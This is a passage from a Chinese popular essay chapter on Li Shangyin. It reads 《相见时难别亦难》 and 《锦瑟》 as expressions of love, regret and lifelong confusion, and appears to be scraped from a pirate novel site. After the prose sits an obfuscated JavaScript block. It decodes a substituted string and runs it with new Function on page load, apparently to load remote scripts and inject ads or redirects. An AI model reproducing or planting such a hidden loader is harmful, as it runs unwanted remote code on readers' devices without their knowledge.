第四十四章 李商隐:把爱与遗憾藏进诗里
笔趣阁(biquge321.com)更新快,无弹窗!
,是“想你想到我耗干才算完”。
这不是夸张,是他真的这么想。比如他被贬到外地,好几年见不到妻子王氏,只能写信。信里不敢说太多想念,怕妻子担心,就写“春蚕到死丝方尽”,王氏一看就懂:他在想我,想我想得快熬不住了。后来王氏早死,他再写这首诗,就成了“想你想到我死了才算完”,连个能懂的人都没了。
再看“晓镜但愁云鬓改,夜吟应觉月光寒”——早上起来照镜子,怕头发变白,怕你下次见我,认不出我;晚上我在月下写诗,觉得月亮都透着寒气,因为你不在我身边。
这细节多真实啊!现在的人异地恋,不也会对着镜子担心“我老了他还喜欢我吗”,晚上视频的时候说“你那边冷不冷,多穿点”吗?
最后一句“蓬山此去无多路,青鸟殷勤为探看”,是他的一点奢望。蓬山是传说中神仙住的地方,他说“你住的地方离我不算远,能不能请青鸟(传说中送信的鸟)帮我去看看你,告诉我你好不好”。这是多无奈啊——连见一面都做不到,求一只鸟帮自己看看心上人。
这首诗,表面是写爱情,其实藏着他的人生:相见难,是爱情难,也是仕途难;离别难,是和爱人离别,也是和自己的理想离别;春蚕和蜡烛,是他的思念,也是他对人生的执着——不管多苦,我都不放弃。
(本章未完,请点击下一页继续阅读)第四十四章李商隐:把爱与遗憾藏进诗里(第2/2页)
《锦瑟》:不是写爱情,是写了一辈子的“迷茫与遗憾”
如果说《相见时难别亦难》是“藏着爱”,那《锦瑟》就是“藏着人生”。这首诗更难懂,连宋朝的苏东坡都说“锦瑟诗,吾平生不解”,可偏偏,每个人读了都能想起自己的故事。
先看开头:“锦瑟无端五十弦,一弦一柱思华年。”锦瑟是一种琴,一般是二十五弦,可他说“五十弦”。为啥是五十?有人说他写这首诗的时候大概五十岁,五十弦对应五十年的人生;也有人说“五十”是虚数,指“一辈子”。不管是啥,他想说的是:这把琴,每一根弦、每一个柱子,都让我想起我这辈子的时光。
接下来四句,是整首诗的核心,也是他一辈子的缩影:
“庄生晓梦迷蝴蝶”——庄子做梦,梦见变成了蝴蝶,醒了之后不知道是梦到蝴蝶,还是蝴蝶梦到自己。李商隐说自己也像庄子一样“迷”——我这一辈子,到底是在追求什么?是当大官,还是和心爱的人在一起?我现在过的日子,是我想要的,还是我被迫接受的?我到底是谁?
这不是他瞎想,是他真的“迷”。比如他卷进党争,不知道该站哪边;他爱柳枝,却没能娶她;他爱宋华阳,却不能和她在一起;他爱王氏,却没能好好陪她。他这辈子,就像在梦里,不知道自己是醒着还是睡着。
“望帝春心托杜鹃”——望帝是古代的一个国王,死后变成了杜鹃鸟,每天叫着“不如归去”,叫到嘴里流血。李商隐说自己的“春心”(爱情和理想),都寄托在杜鹃鸟的叫声里了。这是啥意思?他的理想破灭了,爱情也有遗憾,把心里的话,都写进诗里,像杜鹃鸟一样,叫出来,哪怕没人懂。
比如他想帮令狐楚,却被李党骂;他想和王氏好好过日子,却总在外地;他想写心里话,却怕被人打压。这些“不能说”的心事,托给诗,托给杜鹃鸟的叫声。
“沧海月明珠有泪,蓝田日暖玉生烟”——这两句最美,也最痛。海里的珍珠,是蚌的眼泪变的;蓝田的玉,在太阳下会冒出淡淡的烟。他说“我的眼泪,就像海里的珍珠;我心里的遗憾,就像蓝田玉的烟,看得见,摸不着”。
这珍珠和玉,可能是柳枝送他的那块玉,可能是宋华阳给他的诗稿,也可能是王氏生前缝的衣服。这些东西都还在,可送东西的人不在了,想做的事没做成了,只剩下“看得见,摸不着”的遗憾。
最后一句“此情可待成追忆,只是当时已惘然”——这感情啊,等到现在回忆的时候才觉得珍贵,当时我就很迷茫,不知道该怎么珍惜。
这句话戳中了多少人?我们不也这样吗?年轻时错过的人、没抓住的机会,等到老了回忆起来,才觉得“当时要是好好把握就好了”,可当时的自己,就是迷茫,就是不知道。
比如他回忆柳枝,觉得“当时要是早点回来就好了”;回忆宋华阳,觉得“当时要是勇敢点就好了”;回忆王氏,觉得“当时要是多陪她几天就好了”。当时的他,要么在考进士,要么在应付党争,要么在被贬的路上,只能“惘然”——迷茫地看着机会溜走,看着爱人离开。
这首《锦瑟》,不是写某一段爱情,是写了他一辈子的“迷茫与遗憾”:对爱情的遗憾,对理想的迷茫,对人生的无奈。就像我们每个人的人生,总有一些“要是当时”,可没有“当时”,只有“现在的追忆”。
为啥他的“无题诗”,过了千年还能让人“心软”?
李商隐的无题诗,没有写“我爱你”,没有写“我恨你”,连具体的人都没写,为啥过了一千多年,读起来还会心软?
因为他写的不是“他的故事”,是“我们的情绪”。
他写“相见时难别亦难”,我们想起异地恋时的煎熬;他写“春蚕到死丝方尽”,我们想起为某个人付出一切的自己;他写“庄生晓梦迷蝴蝶”,我们想起站在人生十字路口的迷茫;他写“此情可待成追忆”,我们想起那些错过的人和事。
这些情绪是共通的,不管是唐朝还是现在,不管是诗人还是普通人,我们都有过“说不出的爱”“忘不掉的遗憾”“解不开的迷茫”。李商隐把这些情绪,用最美的句子写了出来,就像有人替我们说出了心里藏了很久的话。
而且,他的诗是“朦胧”的。他不把话说透,比如《锦瑟》里的“华年”到底是哪段时光?“珠有泪”到底是为谁哭?他不说,让我们自己填。你想起柳枝,那“华年”就是你的青春;你想起初恋,那“珠有泪”就是你的遗憾。这种“留白”,让他的诗成了一面镜子,每个人都能在里面看到自己。
还有一点,他的“执着”。不管是爱情还是人生,他都没放弃。春蚕到死才停,蜡烛成灰才灭,他对爱情的执着,对人生的执着,让我们觉得“哪怕再难,我也能撑下去”。现在的人遇到挫折,读一句“春蚕到死丝方尽”,就会想“他那么难都没放弃,我也可以”。
晚年的李商隐,住在洛阳的一个小院子里,身体不好,家里也穷。他常常坐在窗前,看着窗外的花凋谢,手里拿着旧诗稿,一遍遍地改。他知道诗可能没人懂,可他还是写——因为这些诗,是他这辈子唯一的“出口”,是他对爱情、对人生最后的“交代”。
他死的时候才46岁,很年轻,他留下的《无题》诗,却活了一千多年。直到现在,我们还在写“春蚕到死丝方尽”的情书,还在说“此情可待成追忆”的遗憾,还在借着他的诗,说出心里的“不能说”。
这就是李商隐的厉害——他没成为大官,没过上好日子,可他用笔,把人类共通的爱与痛,写成了永恒。就像一束光,穿过千年的时光,照在每个“心里有秘密”的人身上,告诉我们:你不是一个人,你的爱,你的遗憾,早就有人懂了。
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();